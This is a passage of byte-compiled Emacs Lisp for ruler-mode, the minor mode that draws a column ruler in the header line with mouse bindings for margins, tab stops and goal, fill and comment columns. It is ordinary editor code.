stop at %d deleted" delete ts save-selected-window-alist save-selected-window-window position n real side tab-stop-list] 9 (#$ . 14181) "e"]) #@43 Toggle showing of tab stops on the ruler. (defalias 'ruler-mode-toggle-show-tab-stops #[nil "?\301 \207" [ruler-mode-show-tab-stops force-mode-line-update] 1 (#$ . 15577) nil]) #@30 Keymap for ruler minor mode. (defvar ruler-mode-map (byte-code "\301 \302\303\304#\210\302\305\304#\210\302\306\307#\210\302\310\311#\210\302\312\313#\210\302\314\315#\210\302\316\317#\210\302\320\321#\210\302\322\304#\210\302\323\304#\210\302\324\304#\210\302\325\304#\210\302\326\304#\210)\207" [km make-sparse-keymap define-key [header-line down-mouse-1] ignore [header-line down-mouse-3] [header-line down-mouse-2] ruler-mode-mouse-grab-any-column [header-line (shift down-mouse-1)] ruler-mode-mouse-set-left-margin [header-line (shift down-mouse-3)] ruler-mode-mouse-set-right-margin [header-line (control down-mouse-1)] ruler-mode-mouse-add-tab-stop [header-line (control down-mouse-3)] ruler-mode-mouse-del-tab-stop [header-line (control down-mouse-2)] ruler-mode-toggle-show-tab-stops [header-line (shift mouse-1)] [header-line (shift mouse-3)] [header-line (control mouse-1)] [header-line (control mouse-3)] [header-line (control mouse-2)]] 4) (#$ . 15762)) #@46 Hold previous value of `header-line-format'. (defvar ruler-mode-header-line-format-old nil (#$ . 16750)) #@114 Function to call to return ruler header line format. This variable is expected to be made buffer-local by modes. (defvar ruler-mode-ruler-function 'ruler-mode-ruler (#$ . 16862)) #@103 `header-line-format' used in ruler mode. Call `ruler-mode-ruler-function' to compute the ruler value. (defconst ruler-mode-header-line-format '(:eval (funcall ruler-mode-ruler-function)) (#$ . 17048)) #@89 Non-nil if Ruler mode is enabled. Use the command `ruler-mode' to change this variable. (defvar ruler-mode nil (#$ . 17255)) (make-variable-buffer-local 'ruler-mode) #@48 Display a ruler in the header line if ARG > 0. (defalias 'ruler-mode #[(&optional arg) "\306 \307=\203 \n?\202( \203 \310 !\311V\202( \n\204\" \312\202( \313\314\302\"\210\315\211\203K \316\303!\203? \316\304!\204? \317\304!\210 \320\321\322\315\312$\210\202g =\203a \323\303!\210\316\304!\203a \f\323\304!\210\324\321\322\312#\210\325\326\n\203q \327\202r \330\"\210\331 \203\222 \306 \203\205 \306 \232\203\222 \313\332\n\203\217 \333\202\220 \334\"\210)\322 \210\n\207" [#1=#:last-message arg ruler-mode header-line-format ruler-mode-header-line-format-old ruler-mode-header-line-format current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil local-variable-p make-local-variable add-hook post-command-hook force-mode-line-update kill-local-variable remove-hook run-hooks ruler-mode-hook ruler-mode-on-hook ruler-mode-off-hook called-interactively-p "Ruler mode %sabled" "en" "dis"] 6 (#$ . 17427) (list (or current-prefix-arg 'toggle))]) (byte-code "\302\303\304#\210\305 \306\307#\207" [ruler-mode-map mode-line-mode-menu add-minor-mode ruler-mode nil define-key [ruler-mode] (menu-item "Ruler" ruler-mode :button (:toggle . ruler-mode))] 4) #@85 Help string shown when mouse is over the ruler. `ruler-mode-show-tab-stops' is nil. (defconst ruler-mode-ruler-help-echo "S-mouse-1/3: set L/R margin, mouse-2: set goal column, C-mouse-2: show tabs" (#$ . 18651)) #@110 Help string shown when mouse is over the ruler. `goal-column' is set and `ruler-mode-show-tab-stops' is nil. (defconst ruler-mode-ruler-help-echo-when-goal-column "S-mouse-1/3: set L/R margin, C-mouse-2: show tabs" (#$ . 18871)) #@89 Help string shown when mouse is over the ruler. `ruler-mode-show-tab-stops' is non-nil. (defconst ruler-mode-ruler-help-echo-when-tab-stops "C-mouse1/3: set/unset tab, C-mouse-2: hide tabs" (#$ . 19106)) #@63 Help string shown when mouse is on the fill column character. (defconst ruler-mode-fill-column-help-echo "drag-mouse-2: set fill column" (#$ . 19316)) #@66 Help string shown when mouse is on the comment column character. (defconst ruler-mode-comment-column-help-echo "drag-mouse-2: set comment column" (#$ . 19473)) #@63 Help string shown when mouse is on the goal column character. (defconst ruler-mode-goal-column-help-echo "drag-mouse-2: set goal column, mouse-2: unset goal column" (#$ . 19639)) #@53 Help string shown when mouse is over a margin area. (defconst ruler-mode-margin-help-echo "%s margin %S" (#$ . 19824)) #@53 Help string shown when mouse is over a fringe area. (defconst ruler-mode-fringe-help-echo "%s fringe %S" (#$ . 19949)) #@139 Return a single space string of WIDTH times the normal character width. Optional argument PROPS specifies other text properties to apply. (defalias 'ruler-mode-space #[(width &rest props) "\302\303\304\305\306\307E %\207" [width props apply propertize " " display space :width] 7 (#$ . 20075)]) (put 'ruler-mode-space 'byte-optimizer 'byte-compile-inline-expand) #@41 Compute and return a header line ruler. (defalias 'ruler-mode-ruler #[nil "\306 \307 \310 \311\312 \313\314\315\316\317 \320\n@\206 \311#F 5 6\321\322\323\324\325\3266E5%* 7\327\314\315\316\317 \330\n\211 8A@)\206B \311#F 5 6\321\322\323\324\325\3266E5%* 9\331\314\332\316\317:\320 @\206e \311#F 5 6\321\322\323\324\325\3266E5%* ;\333\314\332\316\317:\330 A\206\210 \311#F 5 6\321\322\323\324\325\3266E5%* <\334\314\335D 5 6\321\322\323\324\325\3266E5%* =\336 @ >\322\337\340?\"!\314\341\342@\316A\203\321 B\202\335 C\203\333 D\202\335 E& F\343\211 G H W\203\344\f\345\"\311U\203/\346\f\345\245!\211HG G\347 \211T\314\350F%\210 \311V\203?G\311Y\203?FGH S\211HI\210GSG\202 \344\f\351\"\311U\203?F II\210\fiU\203YF JI\210\347 \211T\314\352F%\210\202 C\203\216\fCU\203\216F KI\210\347 \211T\314\353F%\210\347 \211T\354\355F%\210\347 \211T\316LF%\210\202 \fMU\203\276F NI\210\347 \211T\314\356F%\210\347 \211T\354\355F%\210\347 \211T\316OF%\210\202 \fPU\203\356F QI\210\347 \211T\314\357F%\210\347 \211T\354\355F%\210\347 \211T\316RF%\210\202 A\203 \fS\235\203 F TI\210\347 \211T\314\360F%\210 T\fT\202\347 \361\310 8\203=\362>\363=\205%=7;F<9>\364=\2058=\257\202\\\362>\363=\205G=;7F9<>\364=\205Z=\257.\207" [w m f i j ruler-mode-fringe-help-echo window-width window-margins window-fringes 0 window-hscroll left-fringe face ruler-mode-fringes help-echo format "Left" apply propertize " " display space :width right-fringe "Right" left-margin ruler-mode-margins right-margin scroll-bar ruler-mode-pad window-current-scroll-bars string-to-multibyte make-string ruler-mode-default local-map nil mod 10 number-to-string put-text-property ruler-mode-column-number 5 ruler-mode-current-column ruler-mode-goal-column mouse-face mode-line-highlight ruler-mode-comment-column ruler-mode-fill-column ruler-mode-tab-stop 2 "" left right props width lf x rf ruler-mode-margin-help-echo lm rm sb sbvt ruler-mode-basic-graduation-char ruler-mode-map ruler-mode-show-tab-stops ruler-mode-ruler-help-echo-when-tab-stops goal-column ruler-mode-ruler-help-echo-when-goal-column ruler-mode-ruler-help-echo ruler k c ruler-mode-inter-graduation-char ruler-mode-current-column-char ruler-mode-goal-column-char ruler-mode-goal-column-help-echo comment-column ruler-mode-comment-column-char ruler-mode-comment-column-help-echo fill-column ruler-mode-fill-column-char ruler-mode-fill-column-help-echo tab-stop-list ruler-mode-tab-stop-char] 10 (#$ . 20445)]) (provide 'ruler-mode)
Close
